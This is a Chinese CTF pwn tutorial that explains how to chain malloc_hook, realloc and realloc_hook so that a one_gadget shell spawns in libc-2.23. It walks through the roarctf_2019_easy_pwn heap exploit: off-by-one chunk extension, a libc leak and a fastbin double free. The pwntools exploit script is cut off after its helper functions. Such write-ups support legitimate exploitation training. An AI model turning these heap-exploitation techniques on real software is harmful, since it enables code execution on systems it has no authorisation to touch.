利用realloc调整栈使one_gadget生效

本文详细讲述了在堆栈保护开启时,如何通过覆盖realloc函数来调整栈帧,以便于利用one_gadget漏洞。作者以64位libc-2.23.so为例,介绍了one_gadget的生效条件和realloc函数的利用策略,重点讲解了roarctf_2019_easy_pwn和vn_pwn_simpleHeap两个案例的攻破方法。

前言

当堆题保护全开的时候。PIE保护几乎使得unlink失效(除非能够计算出程序基址),FULL RELEO也使得函数GOT表不可修改。此时常覆盖各种函数的hook为one_gadget来getshell。

我常考虑的顺序是:

free_hook->malloc_hook->IO_FILE->exit_hook

若有沙盒限制,则考虑setcontext

free_hook不可打时(例如Fastbin Attack时free_hook前不能构造字节错位),我们往往就会打malloc_hook。此篇文章基于将malloc_hook覆盖为one_gadget,且one_gadget全失效的情况,如何用realloc的小trick调整栈,使得one_gadget可执行。

one_gadget成功条件

以64位libc-2.23.so为例,各个one_gadget生效的条件如下:

1

如图,0x4526a的one_gadget生效条件为:[rsp+0x30]==NULL。

要使该one_gadget生效,只需让rsp+0x30位置处数据为NULL即可。

realloc函数分析

realloc函数与malloc,free等函数执行流程一致,

均为:检查其对应hook是否为NULL,若不为NULL,则调用相应hook。

不同的是,realloc函数相较于malloc与free,多了很多push和sub操作,我们可以通过这个来达到调整栈的目的。

以64位libc-2.23.so为例,将libc-2.23.so拖进IDA,找到realloc函数:

2

因此我们可以用realloc_addr+offset的方式来调整栈,offset可取0,2,4,6,12,13。依次减少了push的次数。push指令会减小rsp的值,减少push指令个数相当于抬高栈,有利于满足rsp+0x30==NULL。

利用过程

realloc_hook覆盖为one_gadget,然后将malloc_hook覆盖为realloc_addr+offset

这样劫持后的实际运行顺序:

malloc -> malloc_hook -> realloc -> realloc_hook -> onegadget

例题

roarctf_2019_easy_pwn

程序分析

  • 保护全开
  • edit函数中:若满足输入长度等于申请堆块大小+10,则有一个off by one漏洞
  • free_hook可打,可以构造字节错位,但是不知道为什么莫名其妙会报错。

pwn

很简单的一道题,具体流程:

  • off by one 构造 chunk extend
  • 在大堆块中构建一个fake_chunk,free掉这个fake_chunk(大小得能落入unsortedbin),通过show大堆块,泄露libc基址
  • 通过Fastbin Double Free和Arbitrary Alloc打malloc_hook

关于offset的选择

可以调试,不过具体调试起来,并不是少一个push,就达到[rsp+0x20]=[rsp+0x28]的效果,少部分的某些地址可能还是会被写入其他值,因此一个一个试比较快/doge。

exp

from pwn import *

context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/BUUCTF/roarctf_2019_easy_pwn')
elf =  ELF('/mnt/hgfs/ubuntu/BUUCTF/roarctf_2019_easy_pwn')
libc = ELF('/mnt/hgfs/ubuntu/BUUCTF/libc-2.23-64.so')

def new(size):
    r.recvuntil(b"choice: ")
    r.sendline(b'1')
    r.recvuntil(b"size: ")
    r.sendline(str(size))

def edit(id,size,content):
    r.recvuntil(b"choice: ")
    r.sendline(b'2')
    r.recvuntil(b"index: ")
    r.sendline(str(id))
    r.recvuntil(b"size: ")
    r.sendline(str(size))
    r.recvuntil(b"content: ")
    r.sendline(content)

def delete(id):
    r.recvuntil(b"choice: ")
    r.sendline(b'3')
    r.recvuntil(b"index: ")
    r.sendline(str(id))

def show(id):
    r.recvuntil
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值